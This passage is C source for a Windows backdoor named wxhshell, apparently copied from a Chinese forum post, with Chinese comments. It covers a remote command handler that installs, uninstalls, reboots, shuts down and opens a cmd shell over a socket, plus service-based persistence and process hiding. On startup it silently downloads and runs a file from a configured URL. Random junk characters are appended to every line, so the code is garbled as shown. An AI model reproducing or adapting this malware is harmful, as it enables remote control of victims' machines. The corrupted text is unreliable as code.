B5GT^DaT  
    switch(cmd[0]) { JF!JY( U,  
  Ew5(U`]  
  // 帮助 j1Fy'os"!  
  case '?': { uUB,OmLN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v*Ds:1"H-I  
    break; 4w\ r `@  
  } ?3D|{  
  // 安装 d&BocJ  
  case 'i': { qsOA(+ZP  
    if(Install()) JR8 b[Oj.S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@wSv2o$  
    else )h]~< fU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9t:F![rg  
    break; A'vQtlvKA  
    } Jz&a9  
  // 卸载 Cc/h|4  
  case 'r': { [=7=zV;}4  
    if(Uninstall()) 2BZYC5jy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sD H^l)4h  
    else ROlef;/A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  s6bILz-u  
    break; ~b}a|K  
    } 0{^@kxV  
  // 显示 wxhshell 所在路径 |5oK04<  
  case 'p': { UCG8=+t5T  
    char svExeFile[MAX_PATH]; '3TwrY?-  
    strcpy(svExeFile,"\n\r"); H .*:+  
      strcat(svExeFile,ExeFile); f!%G{G^`  
        send(wsh,svExeFile,strlen(svExeFile),0); m5m}RWZ#  
    break; ZUePHI-dP  
    } Q97F5ru6  
  // 重启 " !F)K  
  case 'b': { \UA\0p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }(k#,&Fv`  
    if(Boot(REBOOT)) TUHm.!+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I L ]uw   
    else { @ 32~#0a  
    closesocket(wsh); 3*)<Y}Tc  
    ExitThread(0); w^OV;gp  
    } Y)#x(s?t  
    break; `B6*wE-|  
    } eRU0gvgLu"  
  // 关机 zx` %)r  
  case 'd': { %J(y2 }  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f++MH]I;  
    if(Boot(SHUTDOWN)) p)6!GdT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iO1ir+B\  
    else { ;;e\"%}@=q  
    closesocket(wsh); \d"JYym  
    ExitThread(0); h1}U#XV  
    } R=&9M4  
    break; p7et>;WRx  
    } =1Nz* c  
  // 获取shell aF*KY<w  
  case 's': { CD]hi,B_J  
    CmdShell(wsh); o>WB,i^G  
    closesocket(wsh); <Qg).n>;z  
    ExitThread(0); 8(-V pU  
    break; ffoL]u\  
  } <A|X4;  
  // 退出 ~o{GQ>  
  case 'x': { F.{{gpI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $HgBzZ7A2  
    CloseIt(wsh); x }\x3U  
    break; {1?94rz  
    } h?_Cv*0q  
  // 离开 n/W@H Im#  
  case 'q': { [|iWLPO1&k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +85#`{ D  
    closesocket(wsh); }9:( l  
    WSACleanup(); d}D%%noIu  
    exit(1); S]!s)q-- z  
    break; (=A61]yB  
        } grD[7;1~:)  
  } (rKyX:Vsy  
  } {!RDb'Zp  
f3yH4r?;w  
  // 提示信息 F/pq9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /ILj}g'  
} OlU')0Y  
  } ->Z9j(JU  
1Vf?Rw  
  return; v C23  
} HQp\0NC]  
F}1h  
// shell模块句柄 7 bV(eV  
int CmdShell(SOCKET sock) @jL](Mq|]  
{ ;x<5F+b  
STARTUPINFO si; mJxr"cwHl  
ZeroMemory(&si,sizeof(si)); (vX) <Z !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ak,KHA6u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  yqH  
PROCESS_INFORMATION ProcessInfo; .lsD+}  
char cmdline[]="cmd"; m}UcF oaO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T`?7z+2A  
  return 0; 6jw9p+.  
} Clz. p  
is~"yE7  
// 自身启动模式 #|PPkg%v<  
int StartFromService(void) 7MWd(n-  
{ J.E Bt3  
typedef struct G]]"J c  
{ n!aA<  
  DWORD ExitStatus; P"(VRc6x  
  DWORD PebBaseAddress; 45.<eWH$*(  
  DWORD AffinityMask; }Q2v~eD  
  DWORD BasePriority; 7xF)\um  
  ULONG UniqueProcessId; 18^#:=Z  
  ULONG InheritedFromUniqueProcessId; w"`Zf7a{/  
}   PROCESS_BASIC_INFORMATION; Z8Iqgz7|y  
v)p'0F#6A  
PROCNTQSIP NtQueryInformationProcess; !dQmg'_V  
nxWm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @4t_cxmD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ln'y 3~@  
i)iK0g"2  
  HANDLE             hProcess; bO i-QD  
  PROCESS_BASIC_INFORMATION pbi; }/w]+f*  
z*a-=w0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z @g%9 |U  
  if(NULL == hInst ) return 0; &k@\k<2Ia  
XE>w&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LR "=(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XF&_**0n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {|d28!8w  
M(^_/ 1Z  
  if (!NtQueryInformationProcess) return 0; 9 NGKh3V  
U{\9mt7b!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )/t&a$[  
  if(!hProcess) return 0; (*M*muk  
.5"s[(S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pG6?"*Fz;  
|oWl9j]Z  
  CloseHandle(hProcess); 4U8N7  
2Z-[x9t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "MvSF1  
if(hProcess==NULL) return 0; nt]'>eX_}  
DPlDuUOd  
HMODULE hMod; f,|g|&C  
char procName[255]; z`qb>Y"xf3  
unsigned long cbNeeded; Gx7bV}&PN  
UX2@eyejQ7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V3% >TNp  
S:K$fFcJ  
  CloseHandle(hProcess); BTzBT%mP  
1{ H=The  
if(strstr(procName,"services")) return 1; // 以服务启动 b'ZzDYN  
O$nW  
  return 0; // 注册表启动 ]xkh"j+W  
} Pn,>eD*g  
{Rdh4ZKh  
// 主模块 =@nE:uto]  
int StartWxhshell(LPSTR lpCmdLine) ;reBJk  
{ J-|&[-Z  
  SOCKET wsl; 4@+']vN4  
BOOL val=TRUE; v.&c1hKHb  
  int port=0; dB)-qL8,2  
  struct sockaddr_in door; 7K HQ0  
\@Gcx}Y8h  
  if(wscfg.ws_autoins) Install(); ~,_@|,)  
BbM/Rd1tAm  
port=atoi(lpCmdLine); 1V wcJd  
W ]$/qyc&J  
if(port<=0) port=wscfg.ws_port; .Y|wG<E  
YQ@2p?4m  
  WSADATA data; p"FWAC!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EKD#s,(V*X  
!F:mD ZeY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A^E 6)A=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r#A*{4wz  
  door.sin_family = AF_INET; S0Ur{!9\#^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B^!-%_q  
  door.sin_port = htons(port); -e_|^T"  
QH,Fw$1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x=Aq5*A0  
closesocket(wsl); Kx?.g#>U;  
return 1; *;(^)Sj4Q  
} }= wor~  
=:Yrb2gP_\  
  if(listen(wsl,2) == INVALID_SOCKET) { VP~(;H5%  
closesocket(wsl); !7f,gvk  
return 1; ;[79Ewd#$  
} -dWg1`;  
  Wxhshell(wsl); diNAT`|?#  
  WSACleanup(); jJaMkF;f  
bsm/y+R  
return 0; P:_bF>r ?  
0K6My4d{  
} r7sA;Y\  
Q_Br{ `c  
// 以NT服务方式启动 M KX+'p\w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LzJ`@0RrX  
{ s q;!5qK  
DWORD   status = 0; S[gACEZ =  
  DWORD   specificError = 0xfffffff; 3~Lsa"/  
c5|sda{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |g >Q3E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )+"5($~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aM xd"cTzx  
  serviceStatus.dwWin32ExitCode     = 0; ?K;l 5$?%  
  serviceStatus.dwServiceSpecificExitCode = 0; F\hVunPVx  
  serviceStatus.dwCheckPoint       = 0; 6yBd9=3K  
  serviceStatus.dwWaitHint       = 0; Z ^}[CQ&Am  
{/(.Bpld  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (t\U5-w  
  if (hServiceStatusHandle==0) return; IRdR3X56  
6O/c%1VHA3  
status = GetLastError(); IBvn q8\  
  if (status!=NO_ERROR) e/_QS}OA  
{ pGfGGY>i%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #?k</~s6M`  
    serviceStatus.dwCheckPoint       = 0; |d z2Drc  
    serviceStatus.dwWaitHint       = 0; 0WfnX>(C7R  
    serviceStatus.dwWin32ExitCode     = status; eM 5#L,Y{  
    serviceStatus.dwServiceSpecificExitCode = specificError; z@ J>A![m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]DU?N7J  
    return; _Rb2jq(&0  
  } <[D>[  
|AacV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RJUIB  
  serviceStatus.dwCheckPoint       = 0; Kj"X!-  
  serviceStatus.dwWaitHint       = 0; +zd/<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~#4FL<W  
} TpwN2 =  
liG|#ny{  
// 处理NT服务事件,比如:启动、停止  sa&`CEa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O_ZYm{T[7  
{ : 8j7}'  
switch(fdwControl) p!8phS#iP  
{ Xtfs)"  
case SERVICE_CONTROL_STOP: +Z2XP76(4A  
  serviceStatus.dwWin32ExitCode = 0; x;sc?5_`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u#rbc"  
  serviceStatus.dwCheckPoint   = 0; a|= ^   
  serviceStatus.dwWaitHint     = 0; vG.KSA  
  {  BdiV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ +>e hU  
  } P[-do  
  return; *Ti"8^`6  
case SERVICE_CONTROL_PAUSE: ]j>`BK>FE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q xA( *1  
  break; 83I 5n&)  
case SERVICE_CONTROL_CONTINUE: %k32:qe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AD^I1 ]2f  
  break; yNEU/>]>2  
case SERVICE_CONTROL_INTERROGATE: ~,oz hj0f/  
  break; Rzh.zvxTp  
}; kxd*B P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \v6lcAL-  
} Z\Ur F0  
 T&MhSJf#  
// 标准应用程序主函数 me{u~9&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R|'W#"{@  
{ Y)]C.V,~  
rX /'  
// 获取操作系统版本 \o/eF&  
OsIsNt=GetOsVer(); M2w'cdHk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 &uf   
09anQHa  
  // 从命令行安装 Z)$@1Q4P?1  
  if(strpbrk(lpCmdLine,"iI")) Install(); "g#%d  
^r.CUhx)  
  // 下载执行文件 L'S,=NYXY  
if(wscfg.ws_downexe) { )qw;KG0F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) })P!7t  
  WinExec(wscfg.ws_filenam,SW_HIDE); )gSqO{Z  
} !`RMXUV  
V" 8 G-dK  
if(!OsIsNt) { _<{<b  
// 如果时win9x,隐藏进程并且设置为注册表启动 dr}PjwW%  
HideProc(); PZJ9f8 V  
StartWxhshell(lpCmdLine); }mK,Bi?bj  
} G"E_4YkJ  
else >;hAw!|#  
  if(StartFromService()) i>,AnkI&  
  // 以服务方式启动 ~gW^9nWYU  
  StartServiceCtrlDispatcher(DispatchTable); d)bsyZ;U  
else A9 g%>  
  // 普通方式启动 k_,& Q?GtU  
  StartWxhshell(lpCmdLine); Fz,jnV9=j  
+)WU:aKI  
return 0; HnKgD:  
}
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只看该作者 1 发表于: 2006-10-10
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